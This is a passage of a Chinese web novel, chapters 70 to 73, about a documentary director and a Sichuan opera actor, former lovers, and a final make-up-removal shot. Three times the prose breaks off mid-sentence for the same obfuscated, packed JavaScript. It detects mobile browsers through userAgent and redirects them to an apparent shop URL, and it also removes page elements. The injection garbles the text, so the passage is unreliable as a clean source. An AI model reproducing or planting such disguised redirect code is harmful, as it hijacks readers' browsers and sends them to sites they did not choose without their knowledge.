眼下有长期化妆留下的细微暗沉,额角还有一道小时候练功留下的浅疤,在灯光下显着淡淡的白色 “陈声和。”他的声音变得很轻,带着说不出的疲惫,“有些东西,你留不住的。” 70.最后一出戏 窗外隐约传来观众散场的喧闹,道具组哐当哐当收拾舞台的声响,还有个龙套哼着不成调的川剧从走廊经过。 整个世界都在往前走着,只有他俩,被留在了这个弥漫着化妆品香味的小房间里。像两个不肯走的魂,固执地守着五年前就该散场的戏。 李霄川弯腰捡起地上的戏带,金属扣在他手心勒出一道深红的印子。他直起身,额前的碎发垂下来,遮住了眼睛。 “最后一次拍摄,是吧?”他抬起头,眼神已经平静了下来,“拍吧,拍完……就别再来了。” 陈声和慢慢举起了摄像机。 取景框里,李霄川站在破碎的镜子前,身后是衣架上层层叠叠挂着的戏服,在昏黄的灯光下,像座华丽又逃不出去的牢笼。 李霄川背对着他,肩膀的线条绷得极紧,戏服下的肌肉轮廓清晰可见。他的手垂在身侧,手指还沾着未擦净的油彩,红黑相间,在灯光仿佛血迹。 那条红绸带还松松垮垮系在他腰上,边儿都磨得起毛了,颜色倒还是鲜亮亮的,一看就知道被人当宝贝似的护着。 “……还给你。” 李霄川突然出声,嗓子哑得厉害。他抬手一把扯开腰间的结,绸带滑下来,被他紧紧攥在手心里。 他顿了一下,像是在犹豫,然后才将绸带递向陈声和。 陈声和的目光落在李霄川的手上,那双手指节分明,却布满了细小的伤痕,有练功时留下的茧子,也有勾脸时被画笔划破的旧疤。 这个人从来都把自己养得很粗糙,对自己喜欢的人和东西,却又呵护得仿佛在养温室里的花朵。 而现在,这只手捏着他们的过去,悬在空气里,微微发颤。 “拿着。”李霄川的声音更冷了,带着强硬。 陈声和缓慢抬起手,手指碰到绸带的瞬间,李霄川却猛地收紧了手指。 两人的手隔着绸带相抵,谁都没松开。 化妆镜的灯泡滋滋响了两声,在李霄川脸上晃了晃,随后苟延残喘的灭了。他低着眼,睫毛在脸颊投下一小片阴影,嘴角却绷得紧紧的。 陈声和能感觉到绸带上还留着一点温度。 “……为什么还留着?”他轻声问。 “忘了扔。”李霄川松开手,转身去拿卸妆棉,语气故意放得很轻,“毕竟陈导以前教过,道具得保管好。” 绸带彻底落入陈声和掌心,轻得犹如一片落叶。 他低头看,忽然发现内侧绣着一行小字:声和 2018。 是他的笔迹。 可他压根不记得自己绣过这个。 “你……” 陈声和抬头,看见李霄川正对着镜子,使劲擦脸上的油彩。红红黑黑的颜色掺着卸妆油晕开,像融化的蜡油,沿着下巴滴在雪白的戏服领口。 “怎么?”李霄川从镜子里瞥他,“发现我乱改你的东西了?” 陈声和攥紧绸带:“……什么时候绣的?” 卸妆棉被狠狠扔进垃圾桶。 “分手那天。”李霄川脸上没什么表情,“你上飞机之后,我拿着它去绣坊,求老板娘教我的。” 他转过身,脸上没擦干净的红痕像哭过一样:“挺好笑的吧?你人都走了,我还在给你的东西上绣名字。” “我……”他的声音哽住,“我不知道。” 李霄川静静地看着他:“现在你知道了。” 话罢他背对着陈声和继续卸妆。油彩一点点擦干净,彻底露出原本的皮肤。 陈声和沉默地扶住摄像机,按下停止键。 镜头里最后的画面里,李霄川的脊背挺得笔直,肩膀上的旧伤疤从衣领边缘露了出来。 最后一点妆卸干净了,李霄川问他:“可以了吗?” “……嗯。” 他转过身,脸上终于清清爽爽,什么颜色也没有了:“那再见,陈导。” 陈声和站在原地,看着他推门走出去。 花絮摄像机还在转,录下空无一人的化妆间……和那条被忘在椅子上的红绸带。 …… 李陈声和在成都搞了个工作室,这事儿连跟他合作好些年的制片都蒙在鼓里。 这地方他两年前就弄好了,可一直没启用过。团队平时都是跟着他到处跑,这次回成都才算真正派上用场。 护目镜上反着电脑屏幕的蓝光,把他眼睛藏在一片幽幽的影子里。 他手指头一开始只是在键盘边沿轻轻点着,后来越点越快,指甲冷不丁磕在金属键帽上,发出一声清响。 进度条已经来回拖了几遍,最后三分钟的素材依旧是一片黑场,本该是李霄川卸妆的镜头,却连一帧有效画面都没有了。 “林瑶。”他头也不抬地问,“素材组是不是漏传了?” 隔壁调色间的门被推开,林瑶捏着一沓场记单探出身,鬓角的碎发还别着几枚彩色标记夹。 “不可能啊,李老师那部分的备份我亲自对的。”她小跑过来,弯腰时马尾辫扫过陈声和的肩膀,“导演,那天不是你亲自掌镜的吗?” 陈声和没回答,只是点开素材库,输入“LI_XIAOCHUAN_D35_TAKE47”,李霄川的个人文件夹倒是整整齐齐的,偏偏少了最后那天卸妆的镜头。 “怎么会没了呢……”他低声嘟囔,更像在问自己。 现在可好,成片明天就要送审,技术部那边催命似的,最关键的三分钟却掉了链子,那个本该是李霄川彻底卸下伪装、直面镜头的瞬间,现在成了个黑洞。 林瑶犹豫了一下,点开另一个文件夹:“要不……先用这个顶一下?” 屏幕上跳出来一段没归档的素材。画面里李霄川靠在化妆台边,拿着湿纸巾擦脸。顶灯把他侧脸切成明暗两半,油彩在纸巾上晕开浑浊的色块。 陈声和盯着画面,摇头:“不行。” 林瑶小声说:“观众不会在意的,反正都是卸妆……” “《脸》的结尾必须是完整的他。”陈声和关掉文件,带着些许疲惫,“没有剪辑,没有错位,没有……躲闪。” 林瑶张了张嘴,看着他绷得紧紧的下巴,最后还是把话咽了回去。她翻开通讯录,手指在李老师的名字上悬了半天,最后还是滑到了剧团办公室的电话。 “要不我问问剧团?说不定他们有演出……” 陈声和已经站起身,抓起搭在椅背上的外套。袖口掠过键盘,碰倒了插着枯枝的玻璃瓶。 “导演?” “我去找他。” 林瑶追到门口,夜风呼呼地往走廊里灌。她看见陈声和把车钥匙攥得死紧,钥匙齿硌在虎口上,压出几道红印子。 “现在?都这么晚了,万一他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005911|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经……” “他会在。” 陈声和没解释这份笃定从何而来。也许是大学时李霄川为了帮他赶作业,在剪辑室通宵三天的旧事。 也许是三天前离开时,余光瞥见那人捏着场记单站在雨棚下,衬衫袖口沾着没擦净的油彩,像一抹褪色的晚霞。 林瑶看着他背影,突然想起来:“等等!咱们都不知道李老师现在住哪儿,我先问问剧团……” “剧场后头那栋老宿舍楼。”陈声和一步迈下台阶,“二楼最里头那间……” 这话说得太顺口,两人都愣了一下。 夜风把林瑶那句“这您都知道?”吹散了,陈声和的背影已经融进成都湿漉漉的夜色里,越走越远。 …… 门外,成都的冬夜湿冷刺骨,风卷着零星雨丝扑在脸上。 陈声和缩了缩脖子,冰凉的雨丝钻进衣领,让他想起五年前离开时也是这样的天气。 成都的雨就是这样,霸道又温柔。那天他在机场,对方压抑的呼吸声在耳边响起:“你真的要走?” 而他说:“嗯。” 他记得自己当时攥着登机牌的手在发抖,却还是用最平静的语气给出了这个单音节的回答。 没有解释,没有犹豫,甚至没敢说一句“再见”,就像害怕多一个字都会让决心崩塌。 现在,他站在剧院后门的巷子里,手里攥着车钥匙。补拍通知单就揣在兜里,上面还沾着刚才在剪辑室打翻的水渍。 他盯着那扇贴着“闲人免进”的铁门,突然不确定自己这趟来到底是为了工作,还是…… 还是仅仅想再看他一眼。 川剧院后台走廊尽头的化妆间亮着一线光,隐约能听见布料摩擦的窸窣声。 陈声和站在门外,抬起的手悬在半空。指节离门板只有一寸距离,却像隔着五年的时光。 他本该让林瑶打电话,公事公办地通知李霄川补拍镜头,然后让助理去处理后续。 可他就是不愿意……陈声和很清楚自己在干什么。 门内传来一声轻响,像头面被搁在桌面的声音。 他第一次来后台找李霄川时,也是这样的声音。 那时他还是个举着学生证蹭拍作业的大学生,而李霄川会故意把盔头弄出响声,好让他找到位置。 灯泡的光从门缝漏出来,在地砖上投下一道不断闪烁的光带。 陈声和深吸一口气,推开了门。 化妆镜前的灯泡亮得刺眼,那些坏了的灯泡临走前,是他让场务帮忙全部换上的。 李霄川背对着门,正在拆头面上的水纱,今天的演出已经结束了。铜镜里映出他半边侧脸,油彩被汗水晕开,眼尾的胭脂红仿佛哭过的痕迹。 他听见门响,手上动作停了一瞬,却没回头。 “陈导有事?”李霄川声音轻轻的,手里镊子夹着水纱,一寸一寸往下揭。 他动作娴熟,和台上表演变脸时一样,只是这次揭下的不是脸谱,而是角色与现实的界限。 陈声和目光往下落,停在李霄川敞开的戏服上。 白蟒袍的衣襟松松散散地敞着,露出里头那件被汗浸得半透的水衣,白水衣贴在他胸前,几乎能看到底下的轮廓。 领口那儿有一道不自然的褶子,像是被人用力扯开过,又慌里慌张地随手拢好。 71.这就是全部的我 陈声和不由得想起杀青戏那天有件挺恶心的事情。 那天《送京娘》刚散场,李霄川谢完幕转身往后台走。他背对着观众取下头冠,后颈的汗就顺着脊椎线,亮晶晶地一路滑进戏服里。 陈声和还在那儿发愣呢,林瑶忽然急匆匆地走过来,趴他耳边悄悄说了几句话。他一下回过神来,转身就忙不迭地往后台去了。 那天正好有个投资方也是李霄川戏迷,他抱着一束花闯进后台,带着酒气去扯李霄川的衣领,说要“看看赵匡胤到底有什么魅力”让人京娘这么恋恋不舍。 陈声和冲进来时,正看见李霄川默默拢好衣襟,然后面无表情的对那投资人说了声“您醉了”。 张维连忙赶过来,把那人劝走了。 这行里也有些见不得光的规矩。不管你是男是女,只要被那些人看上,他们就能明码标价来“竞争”。 但李霄川从不吃这一套。他就像一头倔强的狮子,把所有明枪暗箭都挡在自己的皮毛之外。 给钱,看不上? 那就换资源。 资源,也看不上? 那就把你“捧”出去——直接捧杀。 他的回应永远是把戏看得比天大,仿佛在向整个行业宣告:他们可以骂我李霄川不知好歹,但不能说我的戏不好。 年轻、长得帅、身段板正、戏还那么好……再加上被传是同性恋,这样的人,怎么可能不被人盯上。 陈声和知道,李霄川为此得罪过不少人。 所以他放弃了家里铺好的路,拼了命考进华央,拼了命争取到这个非遗纪录片的拍摄资格。 目的就是想给李霄川套上一层“众所周知”的保护壳。 事后团队做观众采访的时候,陈声和一直有点走神,直到听见前排几个年轻观众凑在一起小声嘀咕。 男生说:“你们说李老师是不是连流的汗,都是戏服上那种熏香味儿啊?” “我对他滤镜八百米厚,别人满头大汗我觉得狼狈,他出汗我就觉得……嗯,是香的。” “我每次看他演武戏,那个荷尔蒙,简直能当场把我点燃。” 几句玩笑话把周围人都逗笑了,一张张脸上都透着兴奋的红晕。 陈声和听到这心里才慢慢暖了过来。 确实,李霄川这个人,对戏的讲究,几乎到了偏执的地步。 他这人讲究得不得了,演出前非得用艾草把戏箱里里外外细细熏过一遍。连贴身穿的水衣,那两根系带都必须对齐中线,一分一毫都不能歪。 明明是个武生,整天在台上翻打跌扑的,可他身上从来没什么汗臭味。就算流再多汗,闻起来也是清清爽爽的,倒像是被那些艾草熏透了一样。 有次排练受伤,血直接把白靠给染红了一片。他第一反应不是喊疼,而是眉头一皱,低声说:“坏了,这身行头怕是要重绣了。” 要不是选了川剧这条路,要不是大学时那件该死的性向曝光闹得满城风雨……凭李霄川的才华和毅力,他本该走得更远,站得更高。 出身只是一个起点,从来不是他的终点。 回忆被灯光切换打断。化妆间的灯泡变成暖黄色,昏黄的光线在李霄川汗湿的鬓角上一跳一跳。 陈声和看着那些灯影,想起李霄川教他勾脸时说的话:戏妆要三分画皮,七分画骨。皮相会花,骨相不能歪。 骨相不能歪。 陈声和在心底默念了一遍,终于深吸一口气,硬着头皮打破了沉默。 “还缺一个镜头。”摄像机包的带子在肩上勒出一道深痕,他低声说,“你之前答应过的,如果缺了……就补拍卸妆那段。” 李霄川转过身来。白蟒袍的衣襟敞着,锁骨下方一道新鲜的擦伤,应该是前天演《三岔口》武戏时撞在刀架上留下的。 做武生嘛,磕磕碰碰真的难免。道理陈声和都懂,可每次看见他身上又添新伤,心里还是难受得想骂人。 李霄川的妆卸到一半,额头上那层油彩有点晕开了,眉眼在残妆衬托下反而显得更加锋利。 “现在拍?”他伸手去够化妆台上的卸妆棉,扯到腰伤的时候肌肉明显绷了一下,眉头轻轻一皱又很快松开,“也行,反正这妆早晚都得卸。” “你腰上有伤。”陈声和的声音突兀地切进来。 李霄川的手停在半空,沾满卸妆油的棉片晃了晃,一滴油正落在戏服衣襟的金线上。 “陈大导演现在才看见?”李霄川扯了扯嘴角,眼里却一点笑意都没有,“那天我直接从刀架上摔下来,你不是坐在监视器后面看得清清楚楚的吗?” 陈声和喉结动了动。 当时李霄川摔下去的那一刻,他差点把对讲机捏碎,可最后喊出来的却是:“演员没事就再来一条。” “我……” 李霄川看着面前的人,像在打量一件失而复得的传世珍宝,既珍重,又怕再次打碎。 他忽然倾身按亮了化妆镜旁边的摄像机。红灯亮起的时候,顺手扯松了戏服的盘扣。 “第三次了,陈导。”他把两人之间最后那层遮羞布给撕开了,“我的时间,也不是白给的。” 摄像机开始运转,李霄川手指沾着混了油彩的卸妆油,重重抹上自己的额角。 陈声和站在镜头后面,手指搭在焦距环上,微微发抖。 取景框里,化妆镜的强光把李霄川的脸照得有些白,油彩在镜头下变换着釉光,像一层干裂的假面具。 第一道油彩被抹开,陈声和觉得胸口发闷。 胭脂红从李霄川的眉骨处晕染开来,掺着卸妆油,顺着太阳穴往下流,在脸颊上拖出一道长长的痕迹。 陈声和屏住呼吸,仿佛眼前真的是血,而他正在目睹一场缓慢的、自我剥皮的仪式。 “你还记不记得……”李霄川轻声说,声音掺着棉片擦过皮肤的细响,“大一那年你偷拍我练功,手也是抖成这样。” 陈声和的拇指死死掐进了摄像机侧边的橡胶垫里。 他怎么可能忘记。 那天他躲在戏曲社练功房的角落,镜头偷偷追着李霄川空翻的身影。 西晒的阳光透过玻璃窗,李霄川腾空时甩出的汗珠在半空中碎成金粉,而他按下快门的瞬间,手抖得差点拿不住相机。 镜头或许能捕捉光影,却常常追不上,心动诞生时的速度。 后来他整理那段素材,发现镜头始终是虚的……就像他之后的五年,再也没能把焦点对在别人身上。 当时李霄川捏着那些废片,笑得肩膀直颤:“小广仔,你拍静物不是挺厉害的吗?怎么到我这就成抽象派了?” 陈声和当时耳根发烫,硬着头皮辩解:“……因为你是活的,所以我才对不准焦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005912|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在,五年过去,他的镜头对上李霄川,仍然会糊。 监视器里,李霄川已经卸掉半张脸的油彩。他的动作很慢,像是刻意折磨,又像是舍不得。 棉片擦过颧骨时蹭掉了石青色的眼影,露出底下过敏通红的皮肤。 “那时候你说……”李霄川的手指顿了顿,声音轻得几乎听不清,“因为你是活的,所以我才对不准焦。” 陈声和的牙关发酸。 他没想到李霄川连这种废话都记得。 更没想到会在这个红灯闪烁的化妆间里重温。 化妆棉掉在地上,李霄川似乎懒得换新的,直接用指节去蹭眼角的金粉。他下手很重,指甲在眼睑上刮出一道红痕。 陈声和膝盖比脑子先动,往前跨了半步:“别用手。” 李霄川的动作停在半空。 镜子里,他的右眼被自己揉得通红,眼尾闪烁着水光,比刚唱完一出哭戏还悲伤。 “伤到又怎样?”他轻声问,目光透过镜子直视镜头后的陈声和,“这五年,你问过一句吗?” 陈声和的胸口有什么东西狠狠地将它攥住拧了一把。 摄像机仍在工作,电子取景器里,李霄川用棉片擦去眉骨最后一点金粉。随着他的动作,完整的面容逐渐显露在强光下。 没有舞台妆的遮掩,他的脸色透着不健康的苍白,眼下浮着长期缺眠造成的青影,嘴唇因为连续演出缺水而干裂,右脸颊还有道细长的结痂伤痕。 此刻的李霄川毫无保留地暴露在镜头前,没有任何戏剧性的修饰。 “这就是全部的我。”他直视着镜头,瞳孔黑得惊人,声音压得低低的,“陈声和,你要,还是不要?” 化妆间里的空气仿佛在这一刻停止了,他们就这样对视着,一个逼近,一个沉默。 陈声和的食指悬在录制暂停键上方,迟迟未能落下。 机器持续运转着,收录着李霄川略显粗重的呼吸声,墙角老式挂钟机械的走针声,以及走廊偶尔传来的工作人员脚步声。 还有,陈声和自己失控的心跳声,在密闭空间里显得特别讽刺。 李霄川的问题悬在空气里,就像武生用的十八班武器,将他围成圈,缓慢地割开陈声和的防御。 你……要还是不要? 他张了张嘴,喉咙却像被什么堵住,发不出声音。 李霄川不错眼地看着他,忽地扯了扯嘴角,露出一个算不上笑的表情。 “不敢回答?”他伸手,手指轻轻点在摄像机的镜头上,仿佛隔着机器触碰陈声和的脸,“陈声和,你还是只会躲。” 陈声和的嘴唇抿成一条直线。 李霄川收回手,转身从化妆台上重新拿起一瓶卸妆水,拧开,直接倒进掌心。他没有再用棉片,而是就着冰凉的液体,胡乱抹在脸上,急于结束这场折磨。 陈声和看着他自虐的举动,终于动了。 他放下摄像机,几步上前,一把攥住李霄川的手腕。 “别擦了。” 李霄川的手腕很凉,皮肤上还沾着卸妆水的湿意。陈声和的掌心贴上去,触到脉搏的跳动,一下、两下,而后变得沉重而缓慢。 李霄川垂眼看着他,睫毛上还挂着一点水珠,在灯光下闪着细碎的光。 “为什么?”他低声问,“不是你要拍的吗?” 72.疼了五年了 陈声和的手指微微收紧。 “我……”他的声音哑得几乎失真,“我没让你这么擦。” 李霄川短促地笑了一声,眼睛里却没有丝毫笑意。 “那你想让我怎么擦?”他逼近一步,呼吸几乎拂在陈声和脸上,“像以前那样?你坐在我腿上,我一点点帮你擦掉脸上的颜料?” 记忆猛地翻涌上来。 大学时的某个深夜,陈声和在社团活动室熬夜剪片子,不小心把红色颜料蹭到了脸上。 李霄川推门进来,看到他一脸狼狈,笑得直不起腰,最后干脆把他拉到腿上,用湿巾一点一点帮他擦干净。 那时候,李霄川的手指是暖的,动作轻柔得像在对待什么易碎品。 而现在。 李霄川的手腕在陈声和的掌心里挣了一下,没挣开。 “松手。”他冷声道。 陈声和就是不松。 他的目光落在李霄川脸上。卸妆水刺激得眼周发红,皮肤因为粗暴的擦拭已经一片红痕,有几处甚至蹭破了皮。 李霄川闭着眼睛,睫毛上还沾着没擦干净的卸妆油,看起来既疲惫又狼狈。 以前每次演出结束,陈声和都会提前准备好冰镇的面膜和修复精华。 李霄川总嫌麻烦,他就按着人在化妆台前坐好,一边敷面膜一边念叨:“妆卸不干净会长痘,皮肤发炎了还怎么上妆?” 那时候李霄川会仰着脸冲他笑,说陈老师教训得是。 “你弄伤自己了。”陈声和低声说。 李霄川觉得这话挺可笑。 “关你什么事?”他偏头避开陈声和的目光,“陈大导演不是只关心镜头够不够完美吗?” 陈声和心脏痛得有些直不起腰来,化妆室的暖气开得很足,他却觉得后背发冷。 他松开李霄川的手腕,转身从化妆台上抽了张干净的棉片。温水从饮水机接出来,温度刚好。他抬手,棉片轻轻按在李霄川通红的眼角。 “别动。”陈声和低声说,“……会疼。” 李霄川的喉结滚动了一下,没再躲了。 空气里飘着卸妆水的柑橘味,掺着后台的脂粉气。陈声和的动作很轻,棉片沿着眉骨慢慢往下,擦掉残余的油彩。 他的手指偶尔碰到李霄川的皮肤,触感温热,让他想起最后一次见面时,雨水的冰凉。 那天李霄川站在公寓楼下,头发还在滴水,手里攥着两张被雨水浸湿的机票。他问:“你是不是早就想走了?” 而自己拖着行李箱,连回头看一眼的勇气都没有。 棉片停在李霄川唇角,那里有道细小的裂口,可能是刚才卸妆时太用力蹭破的。 “这道伤……”陈声和顿了顿,“疼吗?” 李霄川没说话,半晌,他忽然抬手,握住陈声和的手腕,将他的掌心紧紧贴在自己脸上蹭了蹭。 “疼。”他哑声说,“……疼了五年。” 陈声和的心脏猛地收缩了一下。化妆室的灯光昏黄,在两人之间投下模糊的光影。 远处传来清洁工推着水桶走过的声音,拖把蹭过地砖,发出规律的沙沙声。不知哪间排练室有人在练琴,断断续续的音符飘进来,又消散在空气里。 但此刻陈声和只听得见自己的心跳,和李霄川近在咫尺的呼吸声。 …… 夜风卷着成都特殊的麻辣香气扑在脸上。 陈声和站在剧院的后门,弯着腰干呕,胃里翻江倒海,本就什么东西都没吃,现在除了酸水什么都吐不出来。 手机在兜里震了一下。 他掏出来看,是林瑶发来的工作消息:【导演,技术部说最迟明早九点必须交成片】 他熄了屏,手指抓紧了摄像机背带。 刚才在化妆室,李霄川那句“你要还是不要”像无数根软刺,狠狠扎进他喉咙里,让他连呼吸都发疼。 他再一次逃离了,没有回答那个问题,就像五年前那样,窝囊地逃避了现实。 “……杵在这儿当门神啊?”一道粗粝的女声从背后砸过来。 陈声和猛地转身,差点撞上人。李红梅正抱着一摞戏服,眉毛高高挑起,眼神刀子似的剜在他脸上。 “姑……姑姑。”陈声和后退半步,舌头像是打了结。 “嗯,”李红梅肩膀一顶,推开后门往外走,“过来搭把手噻。” 陈声和愣了愣,才反应过来是在叫他。他快步跟上,伸手想接她怀里的戏服,却被她一扭身避开。 “可不敢麻烦陈大导演,”李红梅头也不回地往前走,“跑得比兔子还快,现在装什么殷勤?” “……”陈声和的手指僵在半空,慢慢蜷缩起来。 川剧院后巷拐角那个砂锅粥摊,还是老样子,塑料棚底下就摆了两张矮桌,简易得很。 老板老刘是个本地人,以前这摊子只卖小面的,后来因为陈声和他们团队过来拍戏,总在这儿吃早饭,他才特意加了川味砂锅粥。 不过每次非得嘴硬说,他这可是“正宗潮汕风味。 李红梅把戏服往塑料凳上一撂,冲着灶台喊:“老刘,一碗瑶柱粥,一碗皮蛋瘦肉,多放姜!” 陈声和站在桌边,没敢坐。脚边那只塑料凳歪歪扭扭的,看着就不太稳当。 “你杵那儿干啥?真当自己是门神啊?”李红梅一瞪眼,“坐下说行不行?我仰着头跟你说话脖子酸!” 陈声和:“……” 他没吭声,默默把凳子拉开。劣质塑料“刺啦”一声刮过地面,听得人牙酸。 李红梅从兜里摸出包红塔山,叼了一根在嘴边,没点火,就是咬着滤嘴来回磨牙。 “阿川呢?”她突然问。 “……还在卸妆。” “我刚从化妆间过来,”李红梅把打火机拍在桌上,“人影都没得!” 陈声和抿着嘴没接话。他是真不知道李霄川跑哪儿去了。刚才他帮着卸完妆,李霄川当着他面一把扯下戏服,抓起外套就走人,连个正眼都没给他。 而他也确实又一次逃了。 砂锅粥端上来的时候还咕嘟咕嘟冒着泡,热气在两人中间隔出一层白雾。 李红梅把瑶柱粥往他面前一推:“吃!” 那语气,不像是请人喝粥,倒像是……最后一顿饭断头饭似的。 陈声和低头看着那碗粥。米已经熬得化了,瑶柱金黄黄的,姜丝切细得像头发丝儿。 是养胃的做法。 他胃不好,大学那会儿,李霄川总说这样的粥吃了才舒坦。 他拿勺子搅了两下,突然发现粥底沉着几颗枸杞。以前他总嫌弃李霄川点的粥味道不对,后来不知从什么时候起,粥底就悄悄换成了枸杞姜汤。 “姑姑……他腰伤,怎么样了?”陈声和突然开口。 李红梅筷子一顿,碗里的热气还在往上飘。 “现在知道问了?”她哼了一声,把手机解锁,拇指在相册里划了几下,然后直接把屏幕怼到他眼前,“你自己看。” 照片是X光片,上面腰椎第三节有一道清晰的裂痕,像一道闪电劈在骨头上。 “你们来之前,彩排摔的。”李红梅的声音低了几度,“医生让他躺一个月,他倒好,第二天就绑着护腰去拍你那破纪录片!” 陈声和盯着X光片上的日期,是拍摄第一天。 那天李霄川吊着威亚在空中连翻好几个后空翻,落地时踉跄了一下,他却在监视器后说:“再来一次,角度不够好。” 勺子“当啷”一声掉进粥里,溅起几滴汤汁。 “你以为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005913|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么硬撑?”李红梅凑近一点,“五年前你走的那晚,他在我火锅店哭到打烊,神戳戳地给老子砸了两个凳子。” 陈声和:“???” 李红梅把手机拿过来又鼓捣了一会递给他,是一张李霄川大四时的照片,那天他们在火锅店吃饭,有个凳子腿松了,陈声和正低头给一把椅子拧螺丝,那人在旁边扶着。 这照片什么时候照的他都不知道。 “就留了这一把。”李红梅咬着烟嘴冷笑,“说万一你回来坐。” 陈声和的手指触到照片边缘,好像那是烧旺的炭火,立马把手缩了回来。 夜风吹得大排档的塑料棚哗啦作响,远处传来几声犬吠。 李红梅站起来背对着陈声和抹了把眼角,随后往桌上扔了二十块钱。 “粥趁热吃。”她转身往巷子深处走,背影融进夜色里,“……他胃比你更差。” 陈声和盯着那碗渐渐凉掉的粥,表面已经结了一层薄薄的膜。他想起刚才在化妆间,李霄川卸妆时通红的眼眶,当时对方说是油彩灼的。 还有那句沙哑的“疼了五年”。 …… 快凌晨三点了,剪辑室的灯还亮着。 陈声和的目光停在李霄川卸完妆的最后一帧。睫毛湿漉漉的,素颜在光下白得有点过分,嘴角绷得很紧,像有话要说,又硬生生咽了回去。 这是今晚刚拍的卸妆镜头。陈声和盯着画面,手指悬在键盘上,半天没按保存。 林瑶推门进来的时候,屋里只有屏幕的光一跳一跳的,映得他侧脸发白。 他整个人陷在椅子里,肩膀微微弓着,仿佛是一根绷到极限的弦,再碰一下就会断。 “导演……”她声音放得很轻,“技术部那边……催第三遍了,问最后的镜头……” 陈声和没动,也没应声。 林瑶走近几步,这才发现他的眼睛是闭着的,人已经睡着了。 他的额头抵在桌上,呼吸很轻。 屏幕的光打在他脸上,衬得轮廓比平时更瘦。这段时间没日没夜地剪片,到底还是撑不住了。 林瑶犹豫了一下,伸手想去拿他手边的咖啡杯,碰到杯沿却顿住了。 咖啡早就凉透了,杯底沉着没化开的糖。 陈声和喝咖啡从来不放糖的。 她愣了一下,视线往下移,才注意到他垂在键盘的手指间,还捏着一张纸。 一张被揉得皱巴巴的场记单。 林瑶屏住呼吸,轻轻往外抽了一点,借着光看清了上面的字。 是李霄川的笔迹。 【如果这次你还是不敢选我,我就真的不等了】 字写得特别潦草,像是匆忙写下的,笔锋重得快要划破纸。 林瑶大脑空白了一瞬间。 她抬头看向屏幕,画面仍然停在李霄川的脸,他的眼睛直视镜头,像是透过屏幕在看着此刻睡着的陈声和。 那目光犹如泰山重,压得她有些喘不过气。 林瑶咬了咬嘴唇,悄悄摸出手机,最后还是点开了通讯录最上面那个名字。 李老师。 她手指顿了顿,还是快速打下一行字: 【李老师,导演哭了】 发送键按下去的瞬间,她像完成了一件大事,长长舒出一口气。 场记单被她轻轻塞回陈声和手里。电脑屏幕还亮着,剪辑工程没保存。她点了几下鼠标,帮他把文件存好,最后关掉了那个连续运转36小时的剪辑软件。 屏幕暗下去的那一刻,陈声和的眉头轻轻皱了一下,像是梦里有什么不痛快的事。 林瑶屏住呼吸,踮着脚退到门口,关门时刻意放慢动作,没让锁舌发出一点声音。 而那张被攥紧的纸条,终究还是留在了他手里。 73.算了吧,就这样吧 拍摄任务已经全部结束了。 所有镜头都剪辑完成,连最后那个卸妆画面也补上了。 李霄川在镜头前一点点擦去油彩,露出最本真的模样,然后直视镜头问他:“你要,还是不要?” 而陈声和……依然没能给出答案。 他盯着窗外那片淡淡的蓝天,喉咙轻轻地动了动。 他应该说点什么? 可是……他能说什么呢? 五年前他选择了离开,五年后他依然不敢保证自己不会再逃一次。 “导演。”林瑶的声音从身后传来,带着犹豫,“成片已经送审了,技术部说没问题……李老师那边……” “他走了?”陈声和没回头。 “嗯。”林瑶顿了顿,“他说……就这样吧。” 陈声和的手指一颤,夹在指间的香烟被捏得微微变形。 就这样吧。 轻描淡写的三个字,像是给这五年的拉扯画上一个潦草的句号。 脑海里浮现出李霄川卸完妆转身离开的背影,那件绣着金线的戏服袖子擦过门框,带起一阵微弱的风。 连一句告别都没有。 当年他转身离开,也是如此。 所以现在,既给不了承诺,也该受着。 …… 陈声和那边拍摄结束,李霄川这头终于也可以休息几天了。 这将近60天跟打仗似的。他是主演,每期都得在镜头前唱念做打,还得配合节目组那些花里胡哨的互动环节。 白天拍戏晚上采访,有时候凌晨三点就得起来化妆。 身体累倒还好,主要是心里憋得慌。 导演是陈声和这个潮汕仔。每天在片场抬头不见低头见,那人还是跟以前一样,说话温声细语的,实则心比石头硬,比刺都狠。 但最可气的是,这怂包整天把“敬本心”挂在嘴边,可真到了要表态的时候,连给自己点炷香的勇气都没有。 还敬本心……敬个鸡儿! 李霄川想到这儿,把毛巾狠狠摔进了洗衣篮。 冰凉的自来水顺着下巴滴落,水滴洗刷着身体上的疲惫。镜面映出的身体几乎没有一块好皮肤,浑身都是伤疤。 他抹了把脸,镜子里的人眼睛下面挂着两个黑眼圈,嘴角绷得死紧,跟那晚镜头前那个表情没什么区别。 你要还是不要? 这话他最后还是问出口了。 